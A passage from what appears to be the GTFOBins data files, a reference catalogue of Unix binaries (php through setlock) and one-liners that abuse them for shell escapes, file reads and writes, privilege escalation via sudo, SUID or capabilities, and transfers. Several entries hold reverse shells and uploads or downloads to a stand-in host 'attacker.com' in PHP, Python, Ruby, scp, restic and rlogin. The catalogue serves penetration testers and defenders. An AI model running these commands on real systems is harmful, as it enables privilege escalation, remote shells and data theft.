unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      php -r 'readfile(\"/path/to/input-file\");'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      php -r 'file_put_contents(\"/path/to/output-file\", \"DATA\");'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      php -r '$sock=fsockopen(\"attacker.com\",12345);exec(\"/bin/sh -i 0<&3 1>&3 2>&3\");'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      php -r 'system(\"/bin/sh -i\");'\n    contexts:\n      capabilities:\n        code: |-\n          php -r 'posix_setuid(0); system(\"/bin/sh -i\");'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    tty: false\n  - code: |-\n      php -r 'passthru(\"/bin/sh -i\");'\n    contexts:\n      capabilities:\n        code: |-\n          php -r 'posix_setuid(0); passthru(\"/bin/sh -i\");'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    tty: false\n  - code: |-\n      php -r '$h=@popen(\"/bin/sh -i\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n    contexts:\n      capabilities:\n        code: |-\n          php -r 'posix_setuid(0); $h=@popen(\"/bin/sh -i\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    tty: false\n  - code: |-\n      php -r 'pcntl_exec(\"/bin/sh\");'\n    contexts:\n      capabilities:\n        code: |-\n          php -r 'posix_setuid(0); pcntl_exec(\"/bin/sh\");'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        code: |-\n          php -r 'pcntl_exec(\"/bin/sh\", [\"-p\"]);'\n        shell: false\n      unprivileged:\n  upload:\n  - code: |-\n      php -S 0.0.0.0:80\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-client\n    version: |-\n      >= 5.4\n...\n"
  },
  {
    "path": "_gtfobins/pic",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      pic /path/to/input-file\n    comment: |-\n      The output is prefixed with some content.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      pic -U\n      .PS\n      sh X sh X\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pico",
    "content": "---\nalias: nano\n...\n"
  },
  {
    "path": "_gtfobins/pidstat",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      pidstat -e /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          pidstat -e /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pip",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >setup.py\n      pip install --break-system-packages .\n    comment: |-\n      This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).\n\n      Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:\n\n      ```\n      echo 'import os; os.system(\"exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty\")' >setup.py\n      ```\n\n      The `--break-system-packages` flag can be omitted in older systems.\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n  shell:\n  - code: |-\n      pip config --editor '/bin/sh -s' edit\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pipx",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/file.py\n      pipx run /path/to/file.py\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/pkexec",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      pkexec /bin/sh\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/pkg",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      pkg install -y --no-repo-update ./x-1.0.txz\n    comment: |-\n      Generate the FreeBSD package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo /path/to/command >x.sh\n      fpm -n x -s dir -t freebsd -a all --before-install x.sh .\n      ```\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/plymouth",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      plymouth ask-for-password --prompt=x --command=/bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          plymouth ask-for-password --prompt=x --command='/bin/sh -p'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/podman",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      podman run --rm -it --privileged --volume /:/mnt alpine chroot /mnt /bin/sh\n    comment: |-\n      This requires an actual image to be available (e.g., `alpine`) downloading it if not present.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/poetry",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      poetry run python /path/to/temp-file\n    comment: |-\n      This allows to run Python code (`...`).\n\n      A valid `pyproject.toml` file must be present in the current working directory, you can create one with `poetry init -n`.\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/posh",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      posh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pr",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      pr -T /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/procmail",
    "content": "---\nfunctions:\n  command:\n  - blind: false\n    code: |-\n      echo -e ':0\\n| /path/to/command >/path/to/temp-file\n      procmail -m /path/to/temp-file\n    comment: |-\n      The program is picky about the file ownership, and waits for some input.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pry",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      pry\n    contexts:\n      sudo:\n      unprivileged:\n    from: irb\n...\n"
  },
  {
    "path": "_gtfobins/psftp",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      psftp\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/psql",
    "content": "---\ncomment: |-\n  A valid PostgreSQL server must be available to connect to.\nfunctions:\n  inherit:\n  - code: |-\n      psql\n      \\?\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      psql\n      \\! /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ptx",
    "content": "---\ncomment: |-\n  While the program is capable of reading the file, it outputs a \"permuted index\" of its content, thus altering it. Adjusting the options could yield more readable outputs.\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ptx -w 999 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/puppet",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      puppet filebucket -l diff /dev/null /path/to/input-file\n    comment: |-\n      The read file content is corrupted by the `diff` output format. The actual `diff` command is executed.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      puppet apply -e 'file { \"/path/to/output-file\": content => \"DATA\" }'\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      puppet apply -e \"exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }\"\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pwsh",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      pwsh -c '\"DATA\" | Out-File /path/to/output-file'\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      pwsh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pygmentize",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      pygmentize -l text /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pyright",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      pyright /path/to/input-file\n    comment: |-\n      Content is leaked as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n  - binary: false\n    code: |-\n      pyright --outputjson /path/to/input-file\n    comment: |-\n      Content is leaked as error messages in JSON format.\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      pyright -w /path/to/input-dir/\n    comment: |-\n      Recursively walks directories, parsing all Python files and leaking some contents through diagnostics.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/python",
    "content": "---\ncomment: |-\n  The payloads are compatible with both Python version 2 and 3.\nfunctions:\n  download:\n  - code: |-\n      python -c 'import sys; from os import environ as e\n      if sys.version_info.major == 3: import urllib.request as r\n      else: import urllib as r\n      r.urlretrieve(\"http://attacker.com/path/to/input-file\", \"/path/to/output-file\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      python -c 'print(open(\"/path/to/input-file\").read())'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      python -c 'open(\"/path/to/output-file\",\"w+\").write(\"DATA\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  library-load:\n  - code: |-\n      python -c 'from ctypes import cdll; cdll.LoadLibrary(\"/path/to/lib.so\")'\n    contexts:\n      capabilities:\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      python -c 'import sys,socket,os,pty;s=socket.socket()\n      s.connect((\"attacker.com\",12345))\n      [os.dup2(s.fileno(),fd) for fd in (0,1,2)]\n      pty.spawn(\"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    listener:\n      code: |-\n        socat file:/dev/tty,raw,echo=0 tcp-listen:12345\n      comment: |-\n        A TCP server with TTY support can be used on the attacker box to receive the shell.\n    tty: true\n  shell:\n  - code: |-\n      python -c 'import os; os.execl(\"/bin/sh\", \"sh\")'\n    contexts:\n      capabilities:\n        code: |-\n          python -c 'import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\")'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        code: |-\n          python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'\n        shell: false\n      unprivileged:\n  upload:\n  - code: |-\n      python -c 'import sys\n      if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\n      else: import urllib as u, urllib2 as r\n      r.urlopen(\"http://attacker.com\", open(\"/path/to/input-file\", \"rb\").read())'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n  - code: |-\n      python -c 'import sys\n      if sys.version_info.major == 3: import http.server as s, socketserver as ss\n      else: import SimpleHTTPServer as s, SocketServer as ss\n      ss.TCPServer((\"\", 12345), s.SimpleHTTPRequestHandler).serve_forever()'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-client\n...\n"
  },
  {
    "path": "_gtfobins/qpdf",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file\n      qpdf --show-attachment=x /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rake",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      rake -f /path/to/input-file\n    comment: |-\n      The file is actually parsed and the first wrong line is returned in an error message.\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      rake -p '...'\n    comment: |-\n      This allows to run Ruby code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/ranger",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ranger\n      S\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      rc\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/readelf",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      readelf -a @/path/to/input-file\n    comment: |-\n      Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/red",
    "content": "---\nalias: ed\n...\n"
  },
  {
    "path": "_gtfobins/redcarpet",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      redcarpet /path/to/input-file\n    comment: |-\n      The file is actually parsed as a Markdown file.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/redis",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      redis-cli -h 127.0.0.1\n      config set dir /path/to/output-dir/\n      config set dbfilename output-file\n      set x \"DATA\"\n      save\n    comment: |-\n      Write files on the server running Redis at the specified location. Written data will appear amongst the database dump.\n\n      Keep in mind that it's actually the server to perform the file write.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      < 7\n...\n"
  },
  {
    "path": "_gtfobins/restic",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - blind: true\n    code: |-\n      restic --password-command='/path/to/command' backup\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      RESTIC_PASSWORD_COMMAND='/bin/sh -c \"/bin/sh 0<&2 1<&2\"' restic backup\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          RESTIC_PASSWORD_COMMAND='/bin/sh -p -c \"/bin/sh -p 0<&2 1<&2\"' restic backup\n      unprivileged:\n  - code: |-\n      restic --password-command='/bin/sh -c \"/bin/sh 0<&2 1<&2\"' backup\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          restic --password-command='/bin/sh -p -c \"/bin/sh -p 0<&2 1<&2\"' backup\n      unprivileged:\n  upload:\n  - code: |-\n      restic backup -r rest:http://attacker.com:12345/x /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver:\n      comment: |-\n        The attacker must setup a server to receive the backups, in the following example [rest-server](https://github.com/restic/rest-server/) is used but there are other options. To start a new instance and create a new repository use:\n\n        ```\n        rest-server --listen :12345\n        restic init -r rest:http://localhost:12345/x\n        ```\n\n        After the command executed on the target, to extract the data from the restic repository in the current directory on the attacker side:\n\n        ```\n        restic restore -r /tmp/restic/x latest --target .\n        ```\n...\n"
  },
  {
    "path": "_gtfobins/rev",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      rev /path/to/input-file | rev\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rlogin",
    "content": "---\nfunctions:\n  upload:\n  - binary: false\n    code: |-\n      rlogin -l DATA -p 12345 attacker.com\n    comment: |-\n      The file is corrupted by leading and trailing spurious data.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rlwrap",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      rlwrap -l /path/to/output-file echo DATA\n    comment: |-\n      This adds timestamps to the output file. This relies on the external `echo` command.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      rlwrap /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          rlwrap /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rpm",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      rpm -ivh x-1.0-1.noarch.rpm\n    comment: |-\n      Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo /path/to/command >x.sh\n      fpm -n x -s dir -t rpm -a all --before-install x.sh .\n      ```\n    contexts:\n      sudo:\n  inherit:\n  - code: |-\n      rpm --eval '%{lua:...}'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n    version: |-\n      Some older version is required.\n  shell:\n  - code: |-\n      rpm --eval '%(/bin/sh 1>&2)'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      rpm --pipe '/bin/sh 0<&1'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rpmdb",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      rpmdb --eval '%{lua:...}'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n    version: |-\n      Some older version is required.\n  shell:\n  - code: |-\n      rpmdb --eval '%(/bin/sh 1>&2)'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rpmquery",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      rpmquery --eval '%{lua:...}'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n    version: |-\n      Some older version is required.\n  shell:\n  - code: |-\n      rpmquery --eval '%(/bin/sh 1>&2)'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rpmverify",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      rpmverify --eval '%{lua:...}'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n    version: |-\n      Some older version is required.\n  shell:\n  - code: |-\n      rpmverify --eval '%(/bin/sh 1>&2)'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rsync",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      rsync -e '/bin/sh -c \"/bin/sh 0<&2 1>&2\"' x:x\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          rsync -e '/bin/sh -p -c \"/bin/sh -p 0<&2 1>&2\"' x:x\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rsyslogd",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      cat >/path/to/temp-file <<EOF\n      module(load=\"imuxsock\")\n      :msg, contains, \"somerandomstring\" ^/path/to/command\n      EOF\n\n      rsyslogd -f /path/to/temp-file\n    comment: |-\n      In order for this to work, one must be able to trigger one event containing the chosen string, e.g., `somerandomstring`. One possibility is to attempt to connect to the victim host via SSH, for example:\n\n      ```\n      ssh somerandomstring@victim.com\n      ```\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/rtorrent",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo 'execute = /bin/sh,-c,\"/bin/sh </dev/tty >/dev/tty 2>/dev/tty\"' >~/.rtorrent.rc\n      rtorrent\n    comment: |-\n      After the shell, exit with `Ctrl-Q`.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          echo 'execute = /bin/sh,-p,-c,\"/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty\"' >~/.rtorrent.rc\n          rtorrent\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ruby",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      ruby -e 'require \"open-uri\"; download = URI.open(\"http://attacker.com/path/to/input-file\"); IO.copy_stream(download, \"/path/to/output-file\")'\n    contexts:\n      sudo:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      ruby -e 'puts File.read(\"/path/to/input-file\")'\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      ruby -e 'File.open(\"/path/to/output-file\", \"w+\") { |f| f.write(\"DATA\") }'\n    contexts:\n      sudo:\n      unprivileged:\n  library-load:\n  - code: |-\n      ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"/path/to/lib.so\")'\n    contexts:\n      sudo:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"attacker.com\",12345);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      ruby -e 'exec \"/bin/sh\"'\n    contexts:\n      capabilities:\n        code: |-\n          ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'\n        list:\n        - CAP_SETUID\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      ruby -run -e httpd . -p 80\n    contexts:\n      sudo:\n      unprivileged:\n    receiver: http-client\n    version: |-\n      >= 1.9.2\n...\n"
  },
  {
    "path": "_gtfobins/run-mailcap",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      run-mailcap --action=view text/plain:/etc/hosts\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n  - code: |-\n      run-mailcap --action=edit text/plain:/path/to/output-file\n    comment: |-\n      The file must exist and be not empty.\n    contexts:\n      sudo:\n      unprivileged:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/run-parts",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      run-parts --new-session --regex '^sh$' /bin\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          run-parts --new-session --regex '^sh$' /bin --arg='-p'\n        shell: false\n      unprivileged:\n  - code: |-\n      cp /bin/sh /path/to/temp-dir/\n      run-parts /path/to/temp-dir/\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          cp /bin/sh /path/to/temp-dir/\n          run-parts /path/to/temp-dir/ --arg='-p'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/runscript",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '! exec /bin/sh' >/path/to/temp-file\n      runscript /path/to/temp-file\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rustc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      rustc /path/to/input-file\n    comment: |-\n      The compiler leaks some file lines in the compiler error.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo 'fn main() { println!(\"DATA\"); }' >/path/to/temp-file\n      rustc /path/to/temp-file -o /path/to/output-file\n    comment: |-\n      The comment appears in the compiled program.\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      rustc --explain E0001\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/rustdoc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      rustdoc /path/to/input-file\n    comment: |-\n      Partial content is displayed as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      echo '//! DATA' >/path/to/temp-file\n      rustdoc /path/to/temp-file -o /path/to/output-dir/\n    comment: |-\n      This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rustfmt",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      rustfmt /path/to/input-file\n    comment: |-\n      Partial content is displayed as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rustup",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      mkdir /path/to/temp-dir/bin/\n      mkdir /path/to/temp-dir/lib/\n      echo '/path/to/command' >/path/to/temp-dir/bin/rustc\n      chmod +x /path/to/temp-dir/bin/rustc\n      rustup toolchain link x /path/to/temp-dir/\n      rustup run x rustc\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      mkdir /path/to/temp-dir/bin/\n      mkdir /path/to/temp-dir/lib/\n      cp /bin/sh /path/to/temp-dir/bin/rustc\n      rustup toolchain link x /path/to/temp-dir/\n      rustup run x rustc\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/rview",
    "content": "---\nalias: view\n...\n"
  },
  {
    "path": "_gtfobins/rvim",
    "content": "---\nalias: vim\n...\n"
  },
  {
    "path": "_gtfobins/sash",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      sash\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/scanmem",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      scanmem\n      shell /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/scp",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      scp user@attacker.com:/path/to/input-file /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: ssh-server\n  shell:\n  - code: |-\n      echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      scp -S /path/to/temp-file x x:\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  upload:\n  - code: |-\n      scp /path/to/input-file user@attacker.com:/path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: ssh-server\n...\n"
  },
  {
    "path": "_gtfobins/screen",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      screen -L -Logfile /path/to/output-file echo DATA\n    comment: |-\n      Data is appended to the file and `\\n` is converted to `\\r\\n`.\n    contexts:\n      sudo:\n      unprivileged:\n    version: |-\n      4.06.02\n  - binary: false\n    code: |-\n      screen -L /path/to/output-file echo DATA\n    comment: |-\n      Data is appended to the file and `\\n` is converted to `\\r\\n`.\n    contexts:\n      sudo:\n      unprivileged:\n    version: |-\n      4.05.00\n  shell:\n  - code: |-\n      screen\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/script",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      script -q -c '# DATA' /path/to/output-file\n    comment: |-\n      The content appears among the log prints.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      script -q /dev/null\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/scrot",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  shell:\n  - code: |-\n      scrot -e /bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sed",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      sed '' /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      sed -n '1e exec /bin/sh 1>&0' /etc/hosts\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      GNU\n  - code: |-\n      sed e\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    tty: false\n    version: |-\n      GNU\n...\n"
  },
  {
    "path": "_gtfobins/service",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      service ../../bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/setarch",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      setarch -3 /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          setarch -3 /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/setcap",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      setcap cap_setuid+ep /path/to/command\n    comment: |-\n      This can be used to assign capabilities to executable files.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/setfacl",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      setfacl -m u:$(id -un):rwx /path/to/input-file\n    comment: |-\n      This can be run with elevated privileges to change ownership and then read, write, or execute a file.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/setlock",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      setlock - /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          setlock - /bin/sh -p\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/sftp",
